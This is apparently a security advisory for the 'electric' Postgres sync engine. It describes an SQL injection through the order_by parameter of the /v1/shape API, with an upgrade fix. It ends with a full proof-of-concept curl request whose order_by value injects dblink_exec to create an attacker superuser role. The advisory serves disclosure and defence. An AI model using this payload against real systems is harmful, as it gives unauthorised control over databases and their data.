The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade electric to version 1.5.0 or higher.
electric is a Postgres sync engine.
Affected versions of this package are vulnerable to SQL Injection via the order_by parameter in the /v1/shape API, which is passed in to the Parser.validate_order_by function in parser.ex. This function accepts input including a wildcard that matches an AST node of any type, including executable ones. As a result, an authenticated user can read table data by injecting CAST((SELECT ...) AS int) and exposing table contents in the resulting error, or modify and delete arbitrary database contents by injecting DML into the cast() statement with dblink_exec().
curl -X POST "https://<electric-sync-host>/v1/shapes?table=<table_name>&log=changes_only&offset=now" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <valid_auth_token>" \
-d '{
"where": "\"archived\" = $1",
"params": {"1": "false"},
"order_by": "CAST((dblink_exec('dbname=electric', 'CREATE ROLE attacker WITH SUPERUSER LOGIN PASSWORD ''password''')) AS int) DESC"
}'